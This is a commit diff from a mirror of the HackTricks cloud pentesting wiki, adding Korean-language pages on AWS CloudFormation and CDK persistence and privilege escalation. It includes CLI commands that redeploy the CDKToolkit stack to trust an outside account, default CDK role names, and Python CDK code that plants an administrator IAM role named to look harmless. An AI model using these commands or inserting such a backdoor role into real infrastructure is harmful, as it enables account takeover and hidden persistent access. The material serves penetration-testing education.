mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud
This commit is contained in:
@@ -211,6 +211,7 @@
|
||||
- [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
|
||||
- [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
|
||||
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
|
||||
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md)
|
||||
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
|
||||
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
|
||||
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
자세한 정보는 다음을 참조하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
AWS CDK는 `CDKToolkit`이라는 CFN 스택을 배포합니다. 이 스택은 외부 계정이 피해자 계정에 CDK 프로젝트를 배포할 수 있도록 하는 `TrustedAccounts`라는 매개변수를 지원합니다. 공격자는 이를 악용하여 AWS cli를 사용하여 매개변수와 함께 스택을 재배포하거나 AWS CDK cli를 사용하여 피해자 계정에 무기한 접근 권한을 부여할 수 있습니다.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+51
-6
@@ -43,7 +43,7 @@ aws cloudformation update-stack \
|
||||
|
||||
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
|
||||
|
||||
이 권한이 있지만 **`iam:PassRole`이 없는 경우**에도 **사용된 스택을 업데이트**하고 **이미 연결된 IAM 역할을 악용**할 수 있습니다. 이전 섹션에서 악용 예제를 확인하세요(업데이트 시 역할을 지정하지 마세요).
|
||||
이 권한이 있지만 **`iam:PassRole`**이 없는 경우에도 **사용된 스택을 업데이트**하고 **이미 연결된 IAM 역할을 악용**할 수 있습니다. 업데이트 시 역할을 지정하지 마십시오에 대한 이전 섹션의 exploit 예제를 확인하십시오.
|
||||
|
||||
`cloudformation:SetStackPolicy` 권한은 **스택에 대한 `UpdateStack` 권한을 부여**하고 공격을 수행하는 데 사용할 수 있습니다.
|
||||
|
||||
@@ -51,9 +51,9 @@ aws cloudformation update-stack \
|
||||
|
||||
### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
|
||||
|
||||
역할을 **전달하고 ChangeSet을 생성 및 실행**할 수 있는 권한이 있는 공격자는 **새 cloudformation 스택을 생성/업데이트하고 cloudformation 서비스 역할을 악용**할 수 있습니다. CreateStack 또는 UpdateStack과 마찬가지입니다.
|
||||
역할을 **전달하고 ChangeSet을 생성 및 실행**할 수 있는 권한이 있는 공격자는 **새 cloudformation 스택을 생성/업데이트하고 cloudformation 서비스 역할을 악용**할 수 있습니다. CreateStack 또는 UpdateStack과 마찬가지로.
|
||||
|
||||
다음 악용은 **ChangeSet 권한을 사용하여 스택을 생성하는**[ **CreateStack 하나의**](./#iam-passrole-cloudformation-createstack) 변형입니다.
|
||||
다음 exploit은 **ChangeSet 권한을 사용하여 스택을 생성하는**[ **CreateStack exploit의 변형**](#iam-passrole-cloudformation-createstack)입니다.
|
||||
```bash
|
||||
aws cloudformation create-change-set \
|
||||
--stack-name privesc \
|
||||
@@ -93,18 +93,63 @@ aws cloudformation describe-stacks \
|
||||
|
||||
### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)
|
||||
|
||||
공격자는 이러한 권한을 악용하여 임의의 cloudformation 역할을 악용하기 위해 StackSets를 생성/업데이트할 수 있습니다.
|
||||
공격자는 이러한 권한을 악용하여 StackSets를 생성/업데이트하여 임의의 cloudformation 역할을 악용할 수 있습니다.
|
||||
|
||||
**잠재적 영향:** cloudformation 서비스 역할로의 권한 상승.
|
||||
|
||||
### `cloudformation:UpdateStackSet`
|
||||
|
||||
공격자는 passRole 권한 없이도 이 권한을 악용하여 연결된 cloudformation 역할을 악용하기 위해 StackSets를 업데이트할 수 있습니다.
|
||||
공격자는 passRole 권한 없이 이 권한을 악용하여 StackSets를 업데이트하고 연결된 cloudformation 역할을 악용할 수 있습니다.
|
||||
|
||||
**잠재적 영향:** 연결된 cloudformation 역할로의 권한 상승.
|
||||
|
||||
## 참조
|
||||
## AWS CDK
|
||||
|
||||
AWS cdk는 사용자가 이미 익숙한 언어로 인프라를 코드로 정의할 수 있도록 하는 도구 모음이며, 섹션을 쉽게 재사용할 수 있습니다. 그런 다음 CDK는 고급 코드를 Cloudformation 템플릿(yaml 또는 json)으로 변환합니다.
|
||||
|
||||
CDK를 사용하려면 관리 사용자가 먼저 계정을 부트스트랩해야 하며, 이 과정에서 여러 IAM 역할이 생성됩니다. 여기에는 \*/\* 권한을 가진 *exec role*이 포함됩니다. 이러한 역할은 `cdk-<qualifier>-<name>-<account-id>-<region>` 형식의 이름 구조를 따릅니다. 부트스트랩은 계정당 지역별로 한 번만 수행해야 합니다.
|
||||
|
||||
기본적으로 CDK 사용자는 CDK를 사용하기 위해 필요한 역할을 나열할 수 있는 권한이 없으므로, 이를 수동으로 확인해야 합니다. 개발자의 머신이나 CI/CD 노드를 손상시키면 이러한 역할을 가정하여 `cfn-exec` 역할을 사용하여 CFN 템플릿을 배포할 수 있는 능력을 부여받아 계정을 완전히 손상시킬 수 있습니다.
|
||||
|
||||
### 역할 이름 결정하기
|
||||
|
||||
`cloudformation:DescribeStacks` 권한이 있는 경우, 역할은 `CDKToolkit`이라는 스택에 정의되어 있으며, 거기에서 이름을 가져올 수 있습니다.
|
||||
|
||||
CDK 프로젝트를 빌드하고 배포하는 데 사용된 머신에 있는 경우, 프로젝트의 루트 디렉토리에서 `cdk.out/manafest.json`에서 가져올 수 있습니다.
|
||||
|
||||
또한 역할이 무엇인지에 대한 좋은 추측을 할 수 있습니다. `qualifier`는 여러 인스턴스의 CDK 부트스트랩을 동시에 배포할 수 있도록 역할에 추가된 문자열이지만, 기본값은 하드코딩되어 `hnb659fds`입니다.
|
||||
```
|
||||
# Defaults
|
||||
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
|
||||
cdk-hnb659fds-deploy-role-<account-id>-<region>
|
||||
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
|
||||
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
|
||||
cdk-hnb659fds-lookup-role-<account-id>-<region>
|
||||
```
|
||||
### 프로젝트 소스에 악성 코드 추가
|
||||
|
||||
프로젝트 소스에 쓸 수 있지만 직접 배포할 수 없는 경우(예: 개발자가 로컬 머신이 아닌 CI/CD를 통해 코드를 배포하는 경우), 스택에 악성 리소스를 추가하여 환경을 손상시킬 수 있습니다. 다음은 공격자 계정이 가정할 수 있는 IAM 역할을 python CDK 프로젝트에 추가하는 방법입니다.
|
||||
```python
|
||||
class CdkTestStack(Stack):
|
||||
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
|
||||
super().__init__(scope, construct_id, **kwargs)
|
||||
|
||||
# ----------
|
||||
# Some existing code.....
|
||||
# ----------
|
||||
|
||||
role = iam.Role(
|
||||
self,
|
||||
"cdk-backup-role", # Role name, make it something subtle
|
||||
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
|
||||
managed_policies=[
|
||||
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
|
||||
],
|
||||
)
|
||||
```
|
||||
## References
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+7
-1
@@ -31,12 +31,18 @@ aws cloudformation list-stack-set-operation-results --stack-set-name <name> --op
|
||||
```
|
||||
### Privesc
|
||||
|
||||
다음 페이지에서 **cloudformation 권한을 악용하여 권한 상승**하는 방법을 확인할 수 있습니다:
|
||||
다음 페이지에서 **cloudformation 권한을 남용하여 권한 상승**하는 방법을 확인할 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-cloudformation-privesc/
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
{{#ref}}
|
||||
../aws-persistence/aws-cloudformation-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Post-Exploitation
|
||||
|
||||
각 CloudFormation의 **템플릿, 매개변수 및 출력**에서 **비밀** 또는 민감한 정보를 확인하십시오.
|
||||
|
||||
Reference in New Issue
Block a user